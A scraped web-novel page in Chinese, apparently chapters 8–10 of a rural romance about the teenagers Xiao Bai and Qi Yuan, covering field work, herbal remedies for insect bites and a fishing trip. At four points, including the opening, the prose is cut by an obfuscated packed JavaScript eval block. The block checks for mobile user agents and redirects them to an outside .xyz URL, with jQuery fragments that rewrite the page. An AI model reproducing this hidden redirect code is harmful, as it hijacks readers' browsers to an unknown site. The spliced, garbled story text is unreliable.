d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775732|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几种草药都是可以用来活血止痒的。 而旁边坐在吴夫子家地头的吴舒华,却始终将注意力落在齐原身上,作为整个上林村仅有的两个小哥儿之一,吴舒华在外的名头可向来都比萧白好很多。 毕竟一个被父母娇惯得不成样子,一个知书达理懂进退;一个因为天天在村孰睡觉被狼狈赶了出来,一个四书五经读得比那些正经儿郎还优秀;一个只知道跟村上年纪小的儿郎到处鬼混,一个已经能在村孰给阿公帮些小忙。 这样两相对比下来谁都能看出哪个小哥儿更优秀,不过萧白向来不在意跟外人做对比,他只要自己活得痛快就行了,甚至萧家所有长辈也一致认为只要孩子活得舒心就行。 吴舒华显然是不一样的,他家里上面有亲兄长和堂兄,下面又还有几个妹妹,夹在中间的他努力让自己变得更优秀,只可惜往往他所付出的辛苦跟最后的收获并不成正比。 在自家阿公所有的学生中,心高气傲的吴舒华只看得见齐原,不仅仅因为齐原长得好看,更因为他努力、专注、不在意外界半分的流言蜚语。 所以从挺久之前吴舒华就想着到时候可以跟齐原有进一步的发展,只可惜齐原哪怕每日在他家待的时间足够久,却从没有将注意力落到他身上过。 但今天的齐原似乎有些不太一样,哪怕那双眼眸还跟平日里一样将所有人视若不见,但吴舒华依旧能够察觉到对方今日的不同。 “辛苦小半天了,喝点儿水吧!”给家里所有人都送了放凉的水过去,最后吴舒华才状作不经意走到齐原面前,在少年郎停下手中动作的片刻功夫里,他连忙将自己手中准备好的竹筒递过去。 只定定看着那竹筒几息时间,齐原立刻很有分寸感地摇摇头,并稍稍往后退了两步:“多谢,不过我自己有带水过来。” 因为在大热天里忙碌了很长时间,齐原身上灰扑扑的衣服已经被打湿一大片,甚至嗓子也因为干渴变得格外沙哑,偏偏是在这样的情况下,他依旧牢牢握着手中的锄头,在稍稍往后退开一些后,弯腰又开始继续忙碌起来。 萧白已经挪到大树下有阴凉的地方,抬眸望见少年郎紧握着锄头的双头,好一会儿后他忍不住紧紧蹙起眉头。 少年明明已经累成那个样了,手上的动作却是半点都没停下来,反而一下一下干得认真又专注,莫名萧白就有些心疼起自己的新“小弟”。 如此想着小哥儿干脆从大树下拍拍屁股爬起来,在跑去跟自家阿公说了些什么后,萧白转身又大大咧咧往吴夫子所在的方向走过去。 在吴夫子看来,萧青山跟萧白真不愧是亲父子,都一样是让人非常之头疼的地步,好在现在父子俩都不用在村孰听课,故而吴夫子每次见到父子俩都莫名感觉非常庆幸。 这会儿看着小哥儿朝自己大摇大摆走过来,夫子下意识板起了张脸:“白哥儿,怎么来这边了?” “夫子、夫子,你看我脖子被虫子咬得又红又痒,听说齐原认识不少草药,我这不就想着向您借个人去山里弄点草药嘛!”说着萧白又抬手指了指已经朝这边走过来的杜大虎,“放心,不白向您借人,我姐夫说过来顶替齐原一会儿。” 光看杜大虎那健硕的体格,就知道干起活来可比齐原中用太多,而且孙夫子是真没有虐待学子的坏毛病,闻言便赶紧摆摆手:“去去去,赶紧把人带走弄药草去,我这辈子就没见过你比还娇气的哥儿。” 被吐槽娇气的萧白也全然不气恼,且更没有听话赶紧把人带走,而是冲着吴夫子又是一通插科打诨,在吴夫子真要被闹到啼笑皆非时,萧白才一脸欠揍样儿把仍在认真刨地的齐原拉走。 8. 第八章 远远便已经看到小哥儿朝着这边走过来,但齐原并没有想着萧白是过来找自己的,尤其在萧白跟夫子狡黠插科打诨的那会儿功夫,他又已经闷头锄好一小片空地,随即转身再将豆种播进地里。 显而易见这样的播种方式实在太过普通,干上一整天下来就是身强体壮的汉子都受不住,跟别说齐原这样在生长期还格外瘦削的少年郎了,偏偏他垂眸干得格外认真,甚至将依旧站在自己不远处的吴舒华当做不存在。 只前后不过两口茶的功夫,萧白已经大大方方朝着少年郎走过去,随即在吴舒华格外复杂的目光中,毫不犹豫将人拉走。 从后面赶过来的杜大虎已经笑呵呵拿过齐原的锄头,稍微掂量了下那锄头的分量,他转手就给随意放到一边,甚至还非常宠溺冲着萧白摆摆手:“白哥儿跟小伙伴去玩吧,这边姐夫一个人就能搞得定。” “嘿嘿,姐夫辛苦了。”小哥儿半点不在意杜大虎的打趣,抬手挠了挠依旧很痒的脖颈,转身拉着还有些愣怔的齐原很快就走远了。 放下手中的锄头,萧青山一脸复杂遥遥看着儿子远去的方向,那刚刚跟小哥儿说话时还满眼喜色的脸上,这会儿黑得跟锅底也差不多了。 萧老头忙中抽闲往儿子的方向看了一眼,见萧青山一副眼睛不是眼睛、鼻子不是鼻子的奇怪嘴脸,他上去就照着萧青山的后脑壳不轻不重来上一巴掌:“看什么呢,好好干活。” 突如其来的一巴掌并没有将萧青山拍醒,他满心满眼都还是拉着齐原离开的儿子,在自家亲爹又一巴掌拍过来的时候,他终于微微扭过头:“阿父,你说白哥儿不会真喜欢齐原那小子吧,毕竟他那孩子从小到大就……” 萧白从小到个就喜欢长得好看的人,尤其还在襁褓里的那会儿,萧山雁刚刚跟身为猎户的杜大虎成亲,知道干爹、干娘给她生了个小弟弟,仗着两家又住得非常近,萧山雁自是三天两头带着丈夫往干爹、干娘家里跑。 每次萧山雁抱小哥儿的时候,小哥儿便咧着嘴巴笑得不要太开心,但只要杜大虎上手来抱小哥儿,小哥儿绝对是要撇着嘴巴哇哇大哭的。 当然了,小哥儿即便哇哇大哭,往往也只是干打雷不下雨的那种,所以在挺长一段时间里,棠悦这个新鲜出炉的阿娘就极其喜欢拉着女儿、女婿一起逗弄不知事的小哥儿。 等到小哥儿再大一些的时候这种情况自然更加常见,尤其杜小宝刚刚出生那会儿,望着跟小耗子一样红扑扑又丑巴巴的小婴儿,六七岁大的萧白真差点没被丑得哭出来。 甚至当时连续很长一段时间,小哥儿只要见到杜大虎就不开心,觉得是姐夫拉低了自家姐姐的颜值,才生出了个跟丑猴子一样的小外甥。 萧家一大家子算是对小哥儿这个臭毛病了解到不能再了解,所以在萧青山哪怕能说出齐原一百、一千个弊端的情况下,还是得承认少年郎那一张脸长得实在太好,让他不得不担心齐原会持靓行凶拐走他家“乖巧听话”的小哥儿,然后再弄出一桩妥妥的陈世美事件。 虽然同样对自家乖孙的将来担忧不止,但萧老头显然比他儿子淡定许多:“那你先说说看,咱家白哥儿哪有一丁点儿情窦初开的模样,不要光顾着自己吓唬自己,干活去!” 听自家老爹这么一说,萧青山脑子里便只想到自家小哥儿天天不是吃就是玩的臭德行,立时他整个人就从里到外清明起来,也是,依着白哥儿那不知道猴年马月才能开窍的样儿,就算齐原有心仗着张漂亮脸蛋故意诱导,估计也只会是鸡同鸭讲。 这边萧青山放下心,干起活来自然更加卖力,而另外一头萧白二话不说将少年郎拉走老远,好一会儿后他回头看已经离地头有段距离,才转身将注意力落在齐原身上:“我说你脑袋瓜是不是傻掉的呀,又不是自家的活计,做什么干得那么尽心尽力。” 作为一个非常擅长偷懒的摸鱼党,萧白对在人家地里勤勤恳恳干活的齐原可谓是真情实感的“恨铁不成钢”,索性他拉着少年郎一边往前走,一边絮絮叨叨向对方传授自己上辈子辛苦总结出来的“摸鱼”经验。 但很快萧白便察觉到有不对劲的地方,他先是伸手又挠了挠自己已经通红一片的脖颈,再垂眸看看掌心略显黏腻的地方,下一刻他倏地停下脚步。 察觉到小哥儿突如其来停下的脚步,原本差不多跟萧白并排走着的齐原很自然转头疑惑往后看过去,虽然一路上他始终保持着沉默的状态,但眼下疑惑看过来时的眉眼,却莫名给萧白一种格外“乖巧”的感觉。 前后不过几息时间,萧白已经迅速走到少年郎面前,然后飞快将对方的双手摊开在自己眼前,于是一双因为持续劳作而布满水泡的手便明晃晃在萧白眼前暴露无遗。 明明前后差了两岁的年纪,但瘦削的少年郎个头甚至还比萧白稍稍猛些,因此在萧白满脸严肃望着齐原一双布满水泡的手时,齐原的视线便自然而然落在小哥儿微微垂下来的脖颈处。 不知道是因为小哥儿的性别特质,又或者是萧家在各方面都足够宠溺自家孩子,萧白虽然平日里跟村上那些小孩到处跑着疯玩,一身皮肉却依旧足够白皙娇贵,所以一大片抓挠出来的红痕和不知道什么虫子咬出来的红点点,落入齐原眸中竟让他感到格外刺眼。 “前几日我还听小宝夸你读书好,看来脑子果然都用去读书了,怎么有人给旁人干活能老实巴交到你这种程度?”望着少年郎一手看着就疼的水泡,萧白毫不掩饰地打了个寒颤,再投向齐原的目光便已经带着丝丝缕缕对“小傻子”的怜爱。 对上那抹莫名的“怜爱”眼神,齐原一下子愣在了那里,好一会儿后他才慢吞吞解释起来:“夫子免了我所有束脩,那些活计自然是我该做的。” 可怜的孩子莫不是自己把自己当“黑奴”了,萧白很是复杂地摇摇脑袋:“算了、算了,你不是会认草药吗,赶紧去后山找点草药弄弄你这双手,不是说读书人的手很矜贵吗,自己也不知道稍稍注意点儿。” 不知道小哥儿是从哪里总结出“读书人一双手很矜贵”的言论,齐原抿了抿唇刚想要说些什么,便在小哥儿抬脚继续往前走的时候,陡然发现对方原本就通红一片的后脖颈似乎有了隐隐红肿起来的架势。 下意识往前快走两步后,齐原果断伸手一把将人拉住,在萧白疑惑看过来的目光中,他微蹙眉头小心翼翼伸手触碰了下对方通红的后脖颈:“好像有些肿起来了,你不疼的吗?” “不疼啊,就是很热、很痒,应该是被什么虫子咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775733|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了。”皮肤被少年郎温热指尖碰触到的一瞬间,萧白很不自在地轻轻缩了下脖子,只是下一刻后脖颈处又传来一阵瘙痒的感觉,害得他只想伸手继续抓挠止痒。 但这次萧白向后伸出去的手并没有触碰到已经红肿大片的脖颈,而是被眼疾手快的少年郎牢牢握住,他茫然眨眨已经微微泛起水汽的眼眸,很是可怜地软软开口:“真得很痒啊!” 陡然对上一双可怜巴巴的眼眸,齐原下意识就要将握住小哥儿腕部的手松开,但几息功夫后他很快清醒过来,在萧白伸手已经快要抓挠到后脖颈那处皮肤时,再次稳稳将人控制住:“真不能再抓挠下去了,马上就要红肿破皮,到时候一旦结痂再被衣服反复摩擦只会更疼、更难受。” 家庭缘故夹杂着本性使然,齐原素来不是个话多的性子,但不知道为什么,每每对上面前小哥儿的时候,他不由自主便会多说一些。 这种变化或许萧白完全没有察觉,也无处察觉跟过往对比,但齐原在某个瞬间似乎多了些异样的情绪波动,只是他刻意将自己与往日不同的情绪压制下去,随即拉着小哥儿的手腕继续往后山山脚下的方向走。 虽然前段时间刚刚下过一场大雨,但七月流火的季节总是热得非比寻常,整个人被热气蒸腾着自然比平日里更显浮躁一些,被“勒令”不让抓挠后脖颈的萧白,忍着一阵又一阵的搔痒难耐,那双本就隐隐透着几分水迹的眼眸自是更加可怜兮兮起来。 不过念着面前少年郎是自己刚认的小弟,萧白自是比平日里更加好脾气些,要是平时他估计早发脾气将人一把甩开老远了。 好在山脚下的温度似乎比地头那边更多了几分凉爽的感觉,茂密且葱葱的枝叶随着一阵风在头顶簌簌作响,慢慢便将萧白浮躁的注意力转移开。 齐原却忍不住时不时将注意力落于近在咫尺的小哥儿身上,他自是知道大多小哥儿都和姑娘家一样养得更加金贵些,所以刚刚那会儿不让萧白继续抓挠脖颈,他多少有些不由自主担心小哥儿会气恼,见着小哥儿好脾气地忍耐下来,甚至从浮躁的情绪中逐渐平和,齐原不知为何竟在心里默默松了口气。 如果刚刚那会儿小哥儿真恼了自己,齐原默默沉思片刻,一时间还真有些不知道要如何应对那般的情况。 后山真正野生的草药种类不是很多,但寻常止痒消肿的草药却是不少,齐原微微垂下眼眸让小哥儿坐在不远处的大石头上休息,自己则是转身去挑选合适的草药。 在跟齐原一路往这边走的时候,萧白倒是能借着分散注意力让自己不去抓挠红肿瘙痒的后脖颈,但这会儿齐原沉默去摘草药,他便觉得自己浑身上下都刺挠的厉害。 就在少年郎弯腰去摘草药的间隙里,萧白微微扭头望着不远处因风吹过而缓缓摇曳的野草,下一刻他眨巴眨巴水汪汪的大眼睛,便想着悄摸摸伸手往后颈处抓挠。 “今天谢谢你和山雁姐……”就在小哥儿伸手要抓到持续瘙痒的后颈时,齐原仿佛后背长了眼睛那般突然转过头。 他定定望着眼神有些四处飘散的小哥儿,那双素来没什么表情的脸上微不可察流露出一丝极为清浅的笑意,只是害怕萧白真有些恼了,少年在抬头看过去的眼神便显得格外真诚且认真。 9. 第九章 想着自己刚刚试图抓挠后颈的动作应该没有被抓包,但略微有些心虚的萧白还是反应了好一会儿,才算明白过来齐原方才那番话是什么意思。 “嗐,这个跟我还真没什么关系,你要谢改天去谢我大姐就行,不过我想着大姐压根不用你谢,她还是很喜欢盈娘婶婶的。”每年萧家都会请村上的人帮忙干活,至于谁来了、谁没来,无论萧青山还是萧老头压根不会注意这些细枝末节,今天也就萧山雁跟过来一起忙活,才注意到平时很少会出门的谢盈娘也混迹在过来帮忙的人群中。 想到这里萧白也忘了去抓挠后颈,当即转头看向已经在处理草药的齐原:“你放心吧,大姐那个人最是细心、热络,有她在旁边看着,盈娘婶婶肯定不会有什么问题的。” 在田里干活的时候,尚未成束冠的少年郎是用一根挺长的红色绳子将头发固定在头顶,这会儿随着他处理草药的动作,发绳微微松散的同时也在缓缓往下滑落。 不过转瞬功夫,原本束到整整齐齐的发丝便跟着红绳一起垂落到少年清瘦的脊背处,远远看上去就像小女娘专门用红色头绳将头发略显松散束在身后。 再加上热烈的阳光透过后山浓密枝叶斑斑点点洒落下来,萧白忍不住抬手托着下巴,满眼惊艳往少年郎的方向看过去,在这样略显空寂的环境中,他的视线显得格外专注灼热。 齐原本身便是一个格外敏感的人,吴舒华坐在田间带着些打量和审视的目光朝他看过去时,只会让他感到不自在的同时又有些不太愉悦,但明明是同样灼热的目光,当萧白满满只有纯粹欣赏和惊艳的目光看过来,他心里除了同样的不自在外,便只有不经意涌上来的些微羞赧。 风吹动枝叶带来一阵簌簌的声响,萧白的视线就没有一刻从齐原身上挪开过,毕竟整个上林村如此令人赏心悦目的漂亮脸蛋可不多,今日难道有这样的好机会,他可不得好好一饱眼福嘛。 直到少年郎温度适宜的指腹带着青绿色草药捣出来的汁液涂抹到自己后颈处,萧白才总算缓缓回过神,他也不懂齐原到底弄了些什么草药,只感觉凉凉的触感很快覆盖后颈处大片灼烫瘙痒的地方,下意识他双手内扣撑住自己的脸蛋,很是闲散自在地喟叹一声。 不过想到齐原手上隐隐还冒着血迹的水泡,萧白眨眨眼觉得自己好像有些太过分,当即他扭过脑袋去看满眼认真模样的少年:“你的手不赶紧处理一下吗,我后颈已经没那么痒了。” 在倾过身体给萧白涂药时,齐原整个人直接高出小哥儿半截身体,在这样略带着些居高临下意味的视角下,两个十来岁少年的视线不经意碰撞到一起,下意识齐原稍稍停顿了下手上的动作,等完全帮萧白后颈处上好药,他才轻轻应了一声好。 田地里的活计持续忙了挺长一段时间,萧白关于改进犁头的想法还是没有太多头绪,看起来像是鬼画符一样的设计稿改了一遍又一遍,最后“故意”浪费纸张的小哥儿果不其然被自家阿娘好好训斥了一通。 身体稍稍好上一些后的谢盈娘最近跟萧山雁走得挺近,主要萧山雁这人是真得非常热情好可,但又完全不是那种会让人感到不自在的程度,故而待在家里养了很久病的谢盈娘总算有了个可以一起说说体己话的友人。 寻常情况下两个母亲凑到一起聊最多的肯定是丈夫和孩子,但顾忌着背信弃义、抛妻弃子的齐家老大,萧山雁主动跟谢盈娘聊最多的自然也就是孩子了。 说到自家孩子,萧山雁是一百、一千个头疼:“眼看着小宝就是要上村孰的年纪了,偏偏那孩子是一点去读书的意思都没有,天天跟在他小舅舅后边当小跟班,不过好在白哥儿说话小宝还是愿意听的,也不知道前段时间白哥儿答应了小宝什么,那孩子最近倒像是改了性……” 听萧山雁提起白哥儿,谢盈娘微微颤抖了些眉梢,她素来是个藏不住事的单纯性子,跟萧山雁接触全然没有半点私心,单纯只是因为两人在性格上十分合得来,她才会时不时过来村子前头找对方说话,但对于萧家的白哥儿,不得不说谢盈娘确实有一些些自己的私心在。 即便如此每当萧山雁提起萧白这个弟弟的时候,谢盈娘也只是很认真地听着,像是要把白哥儿平时的喜好一一记在心里,从不曾将自己的心思提及过半点。 谢盈娘虽然素来身体不太好,但一手绣艺却是比镇上最好的绣娘还纯熟老练,在地里的庄稼全部种下去后,等着第一场大雨落下,上林村素来有个很是盛大的乞仓节,目的便是为了数月过后可以喜获大丰收。 今年至目前为止算是比较风调雨顺的一年,萧山雁跟谢盈娘一边唠着家长里短,手上一边做着乞仓节要用到的祈福红绸,甚至还可以在上面绣上各家的心愿。 闲来无事的萧白一路溜溜达达寻摸过来时,杜小宝正拿着跟小木棍在院子外面的泥土地上写写画画,听到有熟悉的脚步声传来,他没有半分犹豫就将小木棍往旁边一丢:“小舅舅,我想吃鱼,今天我们可以去河边捉鱼吗?” 夏秋之际河水上涨,哪怕后山的小河流并不是特别深,萧山雁和杜大虎也不敢让小家伙儿独自一人跑出去乱折腾,不过有白哥儿跟着一起过去,两个做父母的自是十分放心当他们的甩手掌柜。 最近这段时间萧白确实因为想要改进犁头而头脑混乱,一听小外甥提起去抓鱼,他立刻来了兴致:“嘿嘿,等我去你家拿抓鱼的工具,暮食咱们就能吃到香喷喷的烤鱼了。” 一大一小舅甥俩进了院子就开始胡乱捯饬起来,乒乒乓乓的动静听得人直头疼,最后还是实在忍不下去的萧山雁隔着窗子吼上一嗓子,翻箱倒柜终于找到抓鱼工具的舅甥俩才跟兔子似的一溜烟跑远了。 萧山雁在伸手将窗户打开一条缝隙时,只来得及看到两个跟小旋风似的背影,见状她无奈摇摇头:“也难怪干娘一直担心白哥儿的将来,说起来哪家小哥儿能像他那样跟个天天没正事干的混小子一样。” 嘴上虽然这么说着,萧山雁一双眼睛里却满满都是对自家幼弟的宠爱,毕竟当初干娘为了照顾干爹伤了身体,这辈子只得白哥儿一个孩子,且白哥儿也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775734|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是她看着长大的,自是跟疼爱自己孩子一样。 在窗户被微微推开的间隙里,谢盈娘已经看到一阵风似的小哥儿,萧山雁刚刚话罢她当即温声软语摇摇头:“看看我这幅身子骨你就知道了,还是白哥儿那样鲜活的性格才最讨喜,就算性格稍微闹腾些又怎么样,咱自家的日子可从来不是过给旁人看的。” 谢盈娘一番话是真真说进了萧山雁的心窝里,毕竟自家干爹、干娘算是村里的富户,偏偏两口子大半辈子又只得白哥儿一个孩子,村子里那些喜欢嚼舌根的表面看起来没什么,背地里不知道说过多少难听话。 好在她家白哥儿就是好性子,任谁在外面偷偷说些什么他都是不在意的,问就是——都没在我跟前说,我自然当听不见喽,干嘛想着那些让自己不痛快! 这边萧山雁跟谢盈娘还聊在兴头上,那边萧白跟杜小宝已经撸起裤腿淌进后山的小河里,虽然秋日里的白天依旧火辣辣,但后山的河水却格外清凉,小哥儿一边试探着往前继续淌,一边被河水凉得嘶了一声。 不过舅甥俩这会儿显然正在抓鱼的劲头上,稍稍适应了下河水冰凉的温度后,转手拿起工具便立即忙碌起来。 这么多年吃喝玩乐的名字可不是白白混过来的,后头杜小宝拿着个小号捕鱼网到处胡乱折腾,前头萧白隐约看到一条鱼正悠哉悠哉往前游动,当即眼疾手快利落一兜,便将那活蹦乱掉的鱼儿兜进网里。 “哇,小舅舅果然最厉害了。”眼见着刚刚下水没多大会儿功夫,小舅舅这边就已经有了收获,杜小宝当即忍不住拍手叫好,只是他完全忘了自己是在水里,一个屁股蹲往后倒去,再被萧白眼疾手快捞起来时,他身上的衣服便已经湿了大半。 要是平时跟着阿父一起出门,自己这个时候肯定就要挨训了,见小舅舅还有兴致嘲笑自己,杜小宝当即乐呵呵抓住小舅舅结实的腰身:“这下小舅舅身上也全湿了哦!” “你个坏小孩,小心晚上我烤了鱼不给你吃哦!”小舅舅亲手烤出来的鱼可不是一般的美味,杜小宝只是稍微在脑子里稍稍回想一下,嘴里已经忍不住开始分泌起口水,闻言他自是超级识趣赶紧开口求饶,好一番折腾后,舅甥俩才开始继续抓鱼。 齐原背着竹筐从山上采药下来时,便清楚听到一阵熟悉的笑闹声,因着前段时间他一直在帮夫子忙活地里的农活,在农忙结束后夫子特意送了他一套誊抄的试题,让他在家里短暂休息两三日,故而今天齐原才有时间采些草药送去镇上的医馆换钱。 顺着声音他抬脚往前走了好一会儿,下一刻齐原抬眼便看到波光粼粼的河面上,小哥儿拿起渔网将一条活蹦乱跳的草鱼兜上来的场景。 波光粼粼的河面将耀眼的光线折射到小哥儿本就白皙干净的脸蛋上,立时将他衬得更为通透莹润起来,尤其在抓到一条鱼后,小哥儿扭头开开心心要跟杜小宝炫耀,脸上的笑容更是格外明媚灿烂。 齐原愣在原地稍稍握紧手中采药用的小锄头,直感觉自己似乎被一抹极为耀眼的光芒笼罩住。 10. 第十章 萧白扭头刚想向杜小宝炫耀自己新成果时,恰好跟抬眼看过来的少年郎对上视线,当即他毫不犹豫晃了晃自己手中渔网里活蹦乱跳的鱼儿:“阿原、阿原,晚上跟盈娘婶婶一起留在我家吃暮食吧,我请你们吃整个上林村最好吃的烤鱼哦!” 站在岸边的齐原还没有来得及开口,旁边身为自家小舅舅最佳马屁精的杜小宝一边回味着舔舔嘴巴,一边已经骄傲地掐腰大声喊着:“对啊、对啊,我小舅舅做的烤鱼最最好吃了。” 刚刚从河里捞出来的鱼身上还带着不少水珠,尤其察觉到有人正在觊觎自己美味的□□,那条被渔网兜住的草鱼立刻不忿地挣扎起来,萧白扭头去看渔网的瞬间当即溅了他一脸满是鱼腥味儿的水。 晶莹剔透的水珠落到小哥儿脸上,再被午后稍显炽热的太阳照射下来,使得萧白整个人看起来似乎都在闪闪发光,偏偏小哥儿本人没有一点让自己看上去稍显文雅些的打算,胡乱伸手就往脸上暴力擦了擦:“能被小爷吃进肚子里算你倒霉,还想逃跑呢,没门!” “需要我帮忙吗?”在岸边盯着小哥儿看了好一会儿,等萧白淌着水把鱼儿放进靠近岸边的竹筐里时,他微微蹲下身体注视着竹筐里来回乱撞的鱼儿。 其实上林村这条小河里的鱼并没有那么好抓,且鱼想要做得好吃其过程自然也格外繁琐、浪费,上林村的村民们每日不是忙着地里头的农活,就是想方设法做些其他什么事情贴补家用,能像萧白和杜小宝这般悠哉悠哉跑出来抓鱼,而且还是一抓一个准的类型,那可完全不是用一个幸运能形容的了。 萧白大大咧咧盯着少年郎清瘦如竹竿一般的身体看了好几眼,在对方双目茫然望过来时,火速将脑袋摇成了拨浪鼓:“不用不用,看你那瘦瘦……高高的身板,我真怕一条鱼都能把你放倒。” 别以为我不知道你想说“瘦瘦小小”,小哥儿这边话音尚未落下,齐原已经顶着双看起来含了那么一丝丝幽怨的眼眸朝着萧白望过去。 察觉到自己差点伤了人家少年郎自尊心的萧白,毫不犹豫转身无辜抬头看看天、低头看看水再看看远处已经渐渐枯黄的丛林,反正就是不肯回头去看仍蹲在河边的齐原。 见着小哥儿那副明显掩耳盗铃的模样,齐原微微弯起一双漂亮的眉眼,只是在胖乎乎的杜小宝好奇朝他看过来时,他下意识又将那一点点笑容收了回去。 杜小宝忍不住疑惑摸摸脑袋:这个齐原哥哥真奇怪,刚刚看着小舅舅时明明笑得那么好看,怎么突然就不笑了呢,难道这就是他阿娘听别人说的什么喜怒无常? 大概压根不明白喜怒无常是什么意思,好奇心满满的杜小宝甚至还专门淌着水往岸边走了两步,那双跟他小舅舅略显有些相似的浓眉大眼正直勾勾盯着齐原。 齐原被小孩盯得有些浑身不自在,偏偏对方还要强行装出一副自己仍在认真抓鱼的样子,只是小孩毕竟还是小孩,没几息时间他就光明正大凑到齐原面前。 “齐原哥哥,你喜欢吃烤鱼吗?”不知道小家伙儿怎么突然又想起了烤鱼,舔着嘴巴就叭叭跟齐原炫耀起来,“跟你说哦,我小舅舅虽然饭做得很糟糕,甚至是吃下去快要能毒死人的程度,但烤鱼却做得特别好吃哦,今天你一定要去我们家亲自尝一尝!” 杜小宝实在热情过了头,半点没有他家小舅舅那样“体贴”的分寸感,于是齐原只能放下背篓,被小家伙儿拉着在河边坐下来,正好他一身衣服本就因为上山摘草药弄得有些脏兮兮,自然不怕河边溅了些水的枯黄草地。 不过半刻钟的功夫,萧白又抓了条半大不小的鱼过来,见杜小宝已经毫不客气跟齐原坐到一起不知道正兴致勃勃聊些什么,他上去就在小家伙儿后脑勺处轻轻拍了一巴掌:“干嘛呢,不是你说要跟我一起抓鱼吗,自己怎么还偷起懒来了!” 自觉已经跟身边的齐原哥哥混熟,杜小宝顺势就往齐原身侧一躲,嘴上还很是得意叭叭着:“当然是跟齐原哥哥说小舅舅的厨艺有多糟糕呀,听阿娘说上次外公吃了小舅舅做的清汤面,差点没拉一晚上的肚子。” “什么呀,明明就是阿父自己贪凉,做好的清汤面他非要去冲井水,都说没烧开的井水不干净了,他还贪心吃了满满当当两大碗,这能不拉肚子吗!”一听杜小宝提起这件事情,萧白眨眨眼立刻看向微微仰头朝自己望过来的少年郎,“对了,你跟盈娘婶婶看着身体都不是特别健壮,现在虽说已经入了秋,但白日里的天气依旧炎热得很,你们可千万不要像我阿父那样贪凉用井水冲洗热气腾腾的吃食,很容易就会生病的。” 两人一个站着、一个坐着,在小哥儿垂头认真且慎重看过来的时候,齐原下意识很是乖巧地点点头:“好。” 经过这几天在家的好好休息,前段时间因为农活带来的满身疲累已经褪去不少,少年郎不过顶着张漂亮脸蛋开口只说了个好字,那清润的嗓音便让萧白不自觉伸手挠了两下耳朵。 不得不说齐原的嗓音便如同他那张脸一样出尘脱俗,萧白一个颜控加声控重度患者,这让他怎么可能把持得住,如果眼下的时代有什么录像设备,他肯定是要让齐原帮自己做一条喊起床的独家珍藏小视频。 不过眼下早便已经不再是自己曾经生活过的智能时代,满心满眼都只是纯粹欣赏的萧白在回过神后,当即利落将手中渔网里已经放弃挣扎的鱼顺手丢进竹筐,扭头他又开始诱导坐在岸边偷懒的杜小宝:“小宝,我跟你说比起烤鱼,这河里最好吃的还要数爆炒泥鳅,作为一个小小男子汉,你怎么可以坐在岸边等着小舅舅的成果,现在到你表现的时候了。” 一番抑扬顿挫的熟练“洗脑”,立刻将杜小宝刺激成身姿无比伟岸的小小男子汉,当即他双手将衣袖往上撸了撸,活蹦乱跳就去泥泞最多的地方抓泥鳅去了。 大概男子从小到大、从大到老都是不能轻易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775735|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺激的德行,那边杜小宝已经嘿哈、嘿哈到处寻摸起藏起来的泥鳅,萧白不过刚刚转过头的功夫,齐原这边已经认认真真将自己的鞋子脱掉,然后又非常细致将裤脚使劲往上叠。 前后才几息功夫,少年郎已经干净利落淌进小河里,然后抬眸非常认真看向身侧的小哥儿:“泥鳅也能做得很好吃吗?” 被齐原突如其来这么一问,萧白立刻忘掉自己在心中默默的吐槽,当下便非常认真地点点头:“当然了,就是需要仔仔细细处理一番才会更好吃,所以你都下水了就一定要好好干,抓到的泥鳅多了,我让小宝跑腿给你送去一些。” “嗨,齐原哥哥你就把心好好放进肚子里吧,只要小舅舅说好吃,那就绝对不会不好吃。”敏锐听到小舅舅似乎喊了自己的名字,杜小宝扭头圆滚滚的脸蛋非常认真开始安慰起齐原。 齐原却并没有转头去看即将为自己跑腿的小家伙儿,而是顶着双略显狭长的丹凤眼复杂看着身侧的小哥儿,只是他唇角虽然微微动了动,却没有说出半个字,而是在小哥儿满脸得意看过来时微微弯了弯眼眸。 几人在后山小河里忙活了挺长一段时间,赶着头顶的太阳已经没有那么炽热,他们才终于满载而归。 “阿娘、山雁姨娘。”后背竹筐里背着满满当当草药的齐原,就那么不容拒绝被萧白和杜小宝热情拐带回了家。 